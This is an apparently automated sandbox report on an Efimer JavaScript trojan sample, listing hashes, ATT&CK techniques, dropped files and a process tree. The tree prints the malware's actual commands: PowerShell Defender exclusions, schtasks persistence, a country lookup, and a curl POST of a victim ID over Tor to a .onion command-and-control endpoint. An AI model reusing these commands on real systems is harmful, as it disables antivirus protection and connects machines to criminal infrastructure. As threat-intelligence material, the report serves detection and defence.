efimer | c488f37dc1629daa72df9f42876bfe9c213bedfbe10dea5ef54bb4b410e5528e

Analysis

max time kernel
149s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
18/05/2026, 16:08

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
common.dat.exe
Size 13.2MB
Sample260518-tlkpyabw7m
SHA256 c488f37dc1629daa72df9f42876bfe9c213bedfbe10dea5ef54bb4b410e5528e
MD5 3b90ad21b17919ba80a9168d9d81ee3f
SHA1 3f8e48d721c2cc4013097b51f3cf4ea91fe8cf4a
SHA512 cb11ce3993bc841c800201b050f86cc3b65c98b76750dd8394f4b191b1e0e0a9132769e799b2e41b9c4baae17858ba4481a4aeed48d9576c8cc855db03e1d8d5
SSDEEP 393216:Qxp/380m1TuI8rs6cF+i1r1aewXMCHWUjX3cuI3/PGTAI:Qxp/q91Bl15aewXMb8XMH/O7
TLSH
T138D6334D54E151FDC76780B4BBF16AF1A43A70B902B78C13122CC7B2B9239A66DE845F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution efimer persistence spyware stealer trojan

Malware Config

Signatures

Family: Efimer
Efimer is a trojan written in JS.
trojan efimer

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4336	powershell.exe
4488	powershell.exe
4472	powershell.exe
3632	powershell.exe
2744	powershell.exe
4892	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Control Panel\International\Geo\Nation	wscript.exe

Executes dropped EXE 1 IoCs

pid	Process
3404	ugate.exe

Loads dropped DLL 15 IoCs

pid	Process
3516	common.dat.exe
3516	common.dat.exe
3516	common.dat.exe
3516	common.dat.exe
3516	common.dat.exe
3516	common.dat.exe
3516	common.dat.exe
3516	common.dat.exe
3516	common.dat.exe
3516	common.dat.exe
3516	common.dat.exe
3516	common.dat.exe
3516	common.dat.exe
3516	common.dat.exe
3516	common.dat.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ipinfo.io

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4176	schtasks.exe
4472	schtasks.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
3516	common.dat.exe
3516	common.dat.exe
4488	powershell.exe
4488	powershell.exe
4472	powershell.exe
4472	powershell.exe
3632	powershell.exe
3632	powershell.exe
2744	powershell.exe
2744	powershell.exe
4892	powershell.exe
4892	powershell.exe
4336	powershell.exe
4336	powershell.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: SeDebugPrivilege	3516	common.dat.exe
Token: SeDebugPrivilege	4488	powershell.exe
Token: SeDebugPrivilege	4472	powershell.exe
Token: SeDebugPrivilege	3632	powershell.exe
Token: SeDebugPrivilege	2744	powershell.exe
Token: SeDebugPrivilege	4892	powershell.exe
Token: SeDebugPrivilege	4336	powershell.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 1564 wrote to memory of 3516	1564	common.dat.exe	85
PID 3516 wrote to memory of 3560	3516	common.dat.exe	86
PID 3560 wrote to memory of 4488	3560	cmd.exe	88
PID 3516 wrote to memory of 3208	3516	common.dat.exe	89
PID 3208 wrote to memory of 4472	3208	cmd.exe	91
PID 3516 wrote to memory of 2344	3516	common.dat.exe	92
PID 2344 wrote to memory of 3632	2344	cmd.exe	94
PID 3516 wrote to memory of 1456	3516	common.dat.exe	95
PID 1456 wrote to memory of 2744	1456	cmd.exe	97
PID 3516 wrote to memory of 212	3516	common.dat.exe	98
PID 212 wrote to memory of 4892	212	cmd.exe	100
PID 3516 wrote to memory of 1536	3516	common.dat.exe	101
PID 1536 wrote to memory of 4336	1536	cmd.exe	103
PID 3516 wrote to memory of 2060	3516	common.dat.exe	104
PID 3516 wrote to memory of 4176	3516	common.dat.exe	112
PID 3516 wrote to memory of 4472	3516	common.dat.exe	119
PID 2776 wrote to memory of 3404	2776	wscript.exe	125
PID 2776 wrote to memory of 4684	2776	wscript.exe	129

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\common.dat.exe
"C:\Users\Admin\AppData\Local\Temp\common.dat.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1564
- C:\Users\Admin\AppData\Local\Temp\common.dat.exe
  "C:\Users\Admin\AppData\Local\Temp\common.dat.exe"
  2⤵
  - Loads dropped DLL
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3516
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3560
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4488
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Public\Documents\uzaya'""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3208
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Public\Documents\uzaya'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4472
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2344
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3632
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\cmd.exe'""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1456
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\cmd.exe'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2744
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\clip.exe'""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:212
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\clip.exe'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4892
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Get-MpComputerStatus | Out-Null""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1536
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Get-MpComputerStatus | Out-Null"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4336
- - C:\Windows\SYSTEM32\curl.exe
    curl -s --max-time 10 https://ipinfo.io/country
    3⤵
    PID:2060
- - C:\Windows\SYSTEM32\schtasks.exe
    schtasks /create /tn ufino /xml C:\Users\Public\Documents\uzaya\ufino.xml /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4176
- - C:\Windows\SYSTEM32\schtasks.exe
    schtasks /create /tn ocafa /xml C:\Users\Public\Documents\uzaya\ocafa.xml /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4472

C:\Windows\System32\wscript.exe
C:\Windows\System32\wscript.exe
1⤵
PID:1888

C:\Windows\System32\wscript.exe
C:\Windows\System32\wscript.exe C:\Users\Public\Documents\uzaya\ocafa.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2776
- C:\Users\Public\Documents\uzaya\ugate.exe
  "C:\Users\Public\Documents\uzaya\ugate.exe"
  2⤵
  - Executes dropped EXE
  PID:3404
- C:\Windows\System32\curl.exe
  "C:\Windows\System32\curl.exe" -X POST -d "version=2.0&GUID=vt1z-dfcfdce6&FLAG=0&GEIP=??&action=GUID" --socks5-hostname localhost:9050 http://cgky6bn6ux5wvlybtmm3z255igt52ljml2ngnc5qp3cnw5jlglamisad.onion/route.php --max-time 30 -o C:\Users\Admin\AppData\Local\Temp\cfile
  2⤵
  PID:4684

C:\Windows\System32\wscript.exe
C:\Windows\System32\wscript.exe C:\Users\Public\Documents\uzaya\ufino.js
1⤵
PID:4312

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
TLSH
T1CE51EE323375B1E888167F071E681A8053BF4355EA94AF1CB698621ED93641B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 9f7f29a4696876cadca3f14d7e43f9ede0c97fd64be3f5d94bda49a91b6a419e
MD5 e5663972c1caaba7088048911c758bf3
SHA1 3462dea0f9c2c16a9c3afdaef8bbb1f753c1c198
SHA512 ff4e72c46cf083de62baa2ce2661555dd91b5f144294015f7b262fd4500cb67fe80e1871a82da63b607e3e9cef401f4b73c587bf1134637881ecad51aad1eddc
TLSH
T1F3112223F38C8960CC96153A509DAC5172B686CB81AFDE9F7FC0C210A5BF584CB61294
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 30bf8496e9a08f4fdfe4767abcd565f92b6da06ca1c7823a70cb7cab16262e51
MD5 98baf5117c4fcec1692067d200c58ab3
SHA1 5b33a57b72141e7508b615e17fb621612cb8e390
SHA512 344a70bfc037d54176f12db91f05bf4295bb587a5062fd1febe6f52853571170bd8ef6042cb87b893185bbae1937cf77b679d7970f8cc1c2666b0b7c1b32987d
TLSH
T1B3112223F78C8920CC961639509DAC5172B986CB81AFDE9F7FC0D210A1BF584CB61194
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 cbf20404c609c0792de4320ac3fa1806269cf5d97420565e3f43d409a11a2808
MD5 842369b08704bbddf9de4d90016e58dd
SHA1 8bc3da656c08abbc14c58201e65b0dc823964bea
SHA512 8f6cc3419f04b1cb4e6c7986ad9fb8a43fb380fee263937e223d8a5269aec918c2c8cd362ee708de0ded3a533f4cd43624d606f45b37e128bec52ada30c43b42
TLSH
T1BD112223F78C8920CC96163A509DAC5172B586CB81AEDF9F7FC0C210E1BF584CB61294
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 8313a191aa9d11cce868d95ac9a9b1609275bfe93131fcb6e547b985b0242fbe
MD5 a9293ef980c925abe33d940554ed8575
SHA1 9b6d85f2595f7fd4923f52b21ab7607279066969
SHA512 2003d90bb2bc89378ccaeb9c5edf76b2dfd93c80369d063e56141abb8d7fea6acee6a103874ab227bc1548437269c8e4ee5174bf482ecf3d66c38f3e0ba35d85
TLSH
T1E8112223F78C8920CC961539509DAC5172B586CB81AFDE9F7FC0C210A1BF584CB61194
MD5 SHA1 SHA512 TLSH

Submit Download

VCRUNTIME140.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI15642\VCRUNTIME140.dll
Size 117KB
SHA256 36585912e5eaf83ba9fea0631534f690ccdc2d7ba91537166fe53e56c221e153
MD5 862f820c3251e4ca6fc0ac00e4092239
SHA1 ef96d84b253041b090c243594f90938e9a487a9a
SHA512 2f8a0f11bccc3a8cb99637deeda0158240df0885a230f38bb7f21257c659f05646c6b61e993f87e0877f6ba06b347ddd1fc45d5c44bc4e309ef75ed882b82e4e
SSDEEP 1536:N9TXF5LLXQLlNycKW+D4SdqJk6aN1ACuyxLiyazYaCVoecbdhgOwAd+zfZ1zu:N9jelDoD9uyxLizzFzecbdPwA87S
TLSH
T1A2C38D4572A042F7D17AD274C1A36A17FB75B94487A0A3CF03B58A650F13BE0AE3D396
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

VCRUNTIME140_1.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI15642\VCRUNTIME140_1.dll
Size 48KB
SHA256 82a2f9ae1e6146ae3cb0f4bc5a62b7227e0384209d9b1aef86bbcc105912f7cd
MD5 68156f41ae9a04d89bb6625a5cd222d4
SHA1 3be29d5c53808186eba3a024be377ee6f267c983
SHA512 f7bf8ad7cd8b450050310952c56f6a20b378a972c822ccc253ef3d7381b56ffb3ca6ce3323bea9872674ed1c02017f78ab31e9eb9927fc6b3cba957c247e5d57
SSDEEP 768:ApzzO6ujT3MbR3v0Cz6SR8q83yaFdWr9zRcmgEl6U9zSC:9q/oGw3fFdwzRcmZFzSC
TLSH
T1A3235A9057788486D4AB95B0C1D6EF537E7CFA924710928B0BA0E59C2F637D0EB3D21A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_bz2.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI15642\_bz2.pyd
Size 82KB
SHA256 fc3b481684b926350057e263622a2a5335b149a0498a8d65c4f37e39dd90b640
MD5 cb8c06c8fa9e61e4ac5f22eebf7f1d00
SHA1 d8e0dfc8127749947b09f17c8848166bac659f0d
SHA512 e6da642b7200bfb78f939f7d8148581259baa9a5edda282c621d14ba88083a9b9bd3d17b701e9cde77ad1133c39bd93fc9d955bb620546bb4fcf45c68f1ec7d6
SSDEEP 1536:Kdrz7l1EVLsSuvX3dUK4MLgqK7YEog8y5sV8lIJLVy7SyFB:urzcuvXvrEo7y6V8lIJLVyB
TLSH
T16F838E42E3A56AF5F86B80B956C10367E771B954075093EFF348C2693F02F426DAC36A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_ctypes.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI15642\_ctypes.pyd
Size 128KB
SHA256 f63c6c7e71c342084d8f1a108786ca6975a52cefef8be32cc2589e6e2fe060c8
MD5 a55e57d7594303c89b5f7a1d1d6f2b67
SHA1 904a9304a07716497cf3e4eaafd82715874c94f1
SHA512 ffa61ad2a408a831b5d86b201814256c172e764c9c1dbe0bd81a2e204e9e8117c66f5dfa56bb7d74275d23154c0ed8e10d4ae8a0d0564434e9761d754f1997fc
SSDEEP 3072:3RF024DWkT/DKGkXY402iXnVJf/FO50XnekZ39gPhvEQZIJyPArm:j0nHT/DKFXZorf/FO50uW3SEQt
TLSH
T1A2D36C0B735800AADA779178C5736F47DBF1B456171087CF02A8C5AA2F63BA26E7E341
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_decimal.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI15642\_decimal.pyd
Size 271KB
SHA256 b715d1c18e9a9c1531f21c02003b4c6726742d1a2441a1893bc3d79d7bb50e91
MD5 f3377f3de29579140e2bbaeefd334d4f
SHA1 b3076c564dbdfd4ca1b7cc76f36448b0088e2341
SHA512 34d9591590bba20613691a5287ef329e5927a58127ce399088b4d68a178e3af67159a8fc55b4fcdcb08ae094753b20dec2ac3f0b3011481e4ed6f37445cecdd5
SSDEEP 6144:x9iD78EIq4x4OA5bZZ0KDgQcI79qWM53pLW1AFR8E4wXw76TPlpV77777VMvyk:xwDGqr5b8EgQ5+w6k
TLSH
T138446A57A2490CA4EE73807889579B47E7F27C860360D38F43A48AA77F93393676E744
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_hashlib.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI15642\_hashlib.pyd
Size 62KB
SHA256 838d5c8b7c3212c8429baf612623abbbc20a9023eec41e34e5461b76a285b86c
MD5 32d76c9abd65a5d2671aeede189bc290
SHA1 0d4440c9652b92b40bb92c20f3474f14e34f8d62
SHA512 49dc391f4e63f4ff7d65d6fd837332745cc114a334fd61a7b6aa6f710b235339964b855422233fac4510ccb9a6959896efe880ab24a56261f78b2a0fd5860cd9
SSDEEP 768:eNJI0DWiflFwY9X3Th1JnptE462TxNvdbj4dIJvI75YiSyvE62Em:2LDxflFwY9XDhPfVNv+dIJvIF7Syc6c
TLSH
T1F5536C01A68080A4C96782B8D9934F5BE6F2F5415791ABDF0318C1CD1F23BC3DAFA796
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_lzma.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI15642\_lzma.pyd
Size 154KB
SHA256 d080eabd015a3569813a220fd4ea74dff34ed2a8519a10473eb37e22b1118a06
MD5 1ba022d42024a655cf289544ae461fb8
SHA1 9772a31083223ecf66751ff3851d2e3303a0764c
SHA512 2b888a2d7467e29968c6bb65af40d4b5e80722ffdda760ad74c912f3a2f315d402f3c099fde82f00f41de6c9faaedb23a643337eb8821e594c567506e3464c62
SSDEEP 3072:KbbS4R/G4Z8r7NjwJTSUqCRY4By7znfB9mNowgn0lCelIJ012+j:KbR/8oWeBi5YOwflCe8o
TLSH
T1B9F34982A794F4E5F7728C78D6624F17E7F5781A032092DA01CC876D2B1FB659E2A313
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_socket.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI15642\_socket.pyd
Size 81KB
SHA256 35246b04c6c7001ca448554246445a845ce116814a29b18b617ea38752e4659b
MD5 fe896371430bd9551717ef12a3e7e818
SHA1 e2a7716e9ce840e53e8fc79d50a77f40b353c954
SHA512 67ecd9a07df0a07edd010f7e3732f3d829f482d67869d6bce0c9a61c24c0fdc5ff4f4e4780b9211062a6371945121d8883ba2e9e2cf8eb07b628547312dfe4c9
SSDEEP 1536:XuV3gvWHQdMq3ORC/OypTXQlyJ+9+nzEYwsBI6tzOKuZIJywJ7Sy21:XuVQvcQTSypTXQlyJs+nzEYJI6QlZIJY
TLSH
T141836C11A69050FADFB3C0B5C5675E23FBB4F4801395979F0166C66A1F33382BE7AA81
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_uuid.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI15642\_uuid.pyd
Size 25KB
SHA256 f9d5008f0772aa0720bc056a6ecd5a2a3f24965e4b470b022d88627a436c1ffe
MD5 3acf3138d5550ca6de7e2580e076e0f7
SHA1 3e878a18df2362aa6f0bdbfa058dca115e70d0b8
SHA512 f05e90a0feaa2994b425884af32149fbbe2e11cb7499fc88ca92d8a74410edcd62b2b2c0f1ecd1a46985133f7e89575f2c114bd01f619c22ce52f3cf2a7e37c4
SSDEEP 384:bROw4TUyiIWlIJ0wsaHQIYiSy1pCQxHoQSJIVE8E9VF0NyEIkz:4w4TUyfWlIJ0wT5YiSyvBk2E3kz
TLSH
T19DC27F56DAA05C46DD278A70B4E24E16EEB5BA514B50C3CB3318C2950F623C37BA73F9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_wmi.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI15642\_wmi.pyd
Size 37KB
SHA256 6435c679a3a3ff4f16708ebc43f7ca62456c110ac1ea94f617d8052c90c143c7
MD5 1c30cc7df3bd168d883e93c593890b43
SHA1 31465425f349dae4edac9d0feabc23ce83400807
SHA512 267a1807298797b190888f769d998357b183526dfcb25a6f1413e64c5dccf87f51424b7e5d6f2349d7a19381909ab23b138748d8d9f5858f7dc0552f5c5846ac
SSDEEP 768:fEkK9VgWOZbs3550QcJpPllIJLiX5YiSyvQ602Euf0:fE93jkbQcJvlIJLiJ7Syq00
TLSH
T136037E56E7940855D937C6BDC8E64E27F5B1B5825711C3CF3318826D0F32382AA7A3BA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

base_library.zip

Path C:\Users\Admin\AppData\Local\Temp\_MEI15642\base_library.zip
Size 1.3MB
SHA256 9ba38ed674bc0393797502d9331229381cfb890983551c3c56f2fced629167f0
MD5 6e4df2f36071c5cd793f7f64ff81819d
SHA1 cdbb0d803854e74a9df33d3d149defd46a1d92e4
SHA512 49d7f1926b7b09359944efed494fe55ee9dba913922bfce50646e227a9ee10438100d280056dc603e0b5a73cae3573dde8eb915d877ee3f65d8729face05ce95
SSDEEP 12288:mOaNdjQS6+W7WpKi2cPudx5/L5L+DxZDNLeGQbsuOBg80201jwCVRDVoioSYBVaO:AddK7WpK5cPudx5/WHasRYuSHHLI
TLSH
T15A551A92B9527953FF14F37B80B7484CF32E86A2EF00C207355A42661FFEAB49D59588
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

addrs.txt

Path C:\Users\Admin\AppData\Local\Temp\_MEI15642\data_pack\addrs.txt
Size 1.4MB
SHA256 f8efe50fb9cddd92323262ab7cc4fb243655fbdabcd8ce535f7976e541bc3aef
MD5 a886b29c160ee12f837dd7baba7d0b65
SHA1 9b317c5259d8219d1261994c8456319560228cef
SHA512 eeed60e7569fefdd390bf9843c08709e0f792bd29143c51fc1ff533cb2dd0b12c2f1d113a8116352e2e143eff495fe8d316fcb3fd5ce7588eba3a27c8ce75a17
SSDEEP 24576:nYGjIcn5zVe3319tunmz4t+ueNPYVCB6Sv3WDyXWPMtAyY6WK0lQZ5BIsLt9:dH5JGnfzEcPYmhmWmDymQZNn
TLSH
T12E6512A0DA45569838F2689EB1F0507250C6FBB7FEE70AA47E2CF5C118903D95B92B13
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

jobfs_d.js

Path C:\Users\Admin\AppData\Local\Temp\_MEI15642\data_pack\jobfs_d.js
Size 20KB
SHA256 d7dda0c75d23b80125c018d30de009216cf8bc383b566760ead3c17b195dd118
MD5 78d0d72a95b5e0b62733cae7a992da22
SHA1 25e10a647657986033a27e81f731a11c04f055af
SHA512 06be2241b121bcc095e4e8c1e624d1fffca17e9c6e5ae29b9024c62b65571cc74ce6620ee59af925e45fb01665022b69f879b5fca5f966c8b087390febe4df5d
SSDEEP 384:r86KKxMvGmy0oPbNGeGq9DnG69lYG7EUwEL+poU4+YCfZNZZSAJL9mQ6OM8bb0fw:BGBsxnGq9DnGoymvwEc0CxYAl98vw
TLSH
T105929E49E0D043AA7931ECDAF0292190376E43503B63C69BAC5D757AB5E9769C039CFC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

jobfs_n.js

Path C:\Users\Admin\AppData\Local\Temp\_MEI15642\data_pack\jobfs_n.js
Size 33KB
SHA256 372c9e53273139020a28ee8660e22a0aa0d75862cff34bc45b816113c959654b
MD5 177362f930d58bdbba88087f99e94813
SHA1 87a8e66ae90f7749060e336e5198de71adc3eb37
SHA512 febb90ebda5cee5536cccb5f1f91d0d229d0fd6c542368aa0a0868036eafc78cf2b48c2e25331c82d151092ed8e6387edaaec86555d5612405ae6e6eecc2bec5
SSDEEP 768:WThgmKCpdOGqlnob8apAQPDJx2cD3yziOiRTuDi9CT1cB6UszjU/qLxa1m05vzPR:W5GF88WxHTSLDi9C1cBWESilPWMl
TLSH
T1AFF28C06D1C9A36974B0FEECB45650D27B6A205177E88A370C9C8A3FD1E6B11C934DAF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

jpack.js

Path C:\Users\Admin\AppData\Local\Temp\_MEI15642\data_pack\jpack.js
Size 2KB
SHA256 ff701a105bd1d5958cdf8d66052cbc7d6c0a685bc5adc4f017eb46c02343b184
MD5 8c5cafb0c4041bc6803d080d60db3d44
SHA1 da8c30ccc8d148078c1a35d4444782f822416d57
SHA512 4fe8222a623184a7dc19e4982a5f8e8c6a17348ff69741d54342c88a7cf1e87c014e607db2a3181af82924f4bbe04aa30f58e4eb69e06db469c12bddab032e16
TLSH
T18C511BCB63D24BAD7478CE7528D8C465B9390F10928E806D082DD5686F9450250F9DEE
MD5 SHA1 SHA512 TLSH

Submit Download

task.xml

Path C:\Users\Admin\AppData\Local\Temp\_MEI15642\data_pack\task.xml
Size 3KB
SHA256 b241e160e3e879864809b1aa89b91ab83e05359bca641a0e3d2ab002e3ed62c6
MD5 f26a072bab9c77e5c8f03018c4dfe719
SHA1 4c96b2a38820d06cff92452c7cc3fb941223fda1
SHA512 6a90873e8dd2632ebcf1717ca843aa75fa31edc634f80d6cc4305dbb914a490fdc3c5b9c6b703af33efc6329ed61be49883b61fafb5bca877b56e9aef354c7a4
TLSH
T14C71BE0EAFF44DF90407CB9B8FB162CE52E68D6904680B36B7DCAE641A1E14653D1F48
MD5 SHA1 SHA512 TLSH

Submit Download

ugate.exe

Path C:\Users\Admin\AppData\Local\Temp\_MEI15642\data_pack\ugate.exe
Size 8.6MB
SHA256 8b59e9d7f2257ea478c9eaddd649173ad8b689f50c3974ee5130b68b8fac0753
MD5 2fdc2a16f657ec86cfee5523ee7f918f
SHA1 0e81bc2ac321fb1b7e6d59ff0b40383f94c08ba5
SHA512 dbd3b6a6a45bee90cfcf48b951b8362e51863319aeccf696c05e37a924ef5a802725de595144959a43e3aef7e7153f441dadc3afa60754f07b0efdd62400f3f7
SSDEEP 196608:UXrKg1dC8vl6HH0knL9p6UqPnzqvPUScZ0OrhCx6:Z8K0kLvpCntScZ0OtCx6
TLSH
T178969D742EA14EC698F8CB4DF52729EC10A01F086438757EF5B14CDD8A8DE988FD16B9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

words.txt

Path C:\Users\Admin\AppData\Local\Temp\_MEI15642\data_pack\words.txt
Size 14KB
SHA256 bbcec5e1141d3e2b4a01099756cd6f1f57c03320a7ee535642ef0d99bdf58cc7
MD5 587d75d7697bc20f6829ac97cdb1d351
SHA1 e515e1f68976764c699d22c380c0c3880fb0247c
SHA512 64c73199cee9fea1965f4f36b4e6cd431e81ea13a72b4765737332e9628bd6b1a00e7d830c48e8b749ad64c59b93ea1edcfb734989a94db80b1ba583358bcf9f
SSDEEP 384:A3P9Ko01yv6No6k9BQwExplJ08TPtJNobzdi:QP9K8vc29BczlXTPfSbzk
TLSH
T160627C1CED547C71A0163C52D2D9AAF32722CD290179BEC3C9ADB1A24EC35C43A4F634
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

libcrypto-3.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI15642\libcrypto-3.dll
Size 5.0MB
SHA256 4e5d5d20d6d31e72ab341c81e97b89e514326c4c861b48638243bdf0918cfa43
MD5 123ad0908c76ccba4789c084f7a6b8d0
SHA1 86de58289c8200ed8c1fc51d5f00e38e32c1aad5
SHA512 80fae0533ba9a2f5fa7806e86f0db8b6aab32620dde33b70a3596938b529f3822856de75bddb1b06721f8556ec139d784bc0bb9c8da0d391df2c20a80d33cb04
SSDEEP 98304:/V+Qs2NuR5YV0L8PQ1CPwDvt3uFlDC4SC9c:9rs2NuDYV0L841CPwDvt3uFlDC4SCa
TLSH
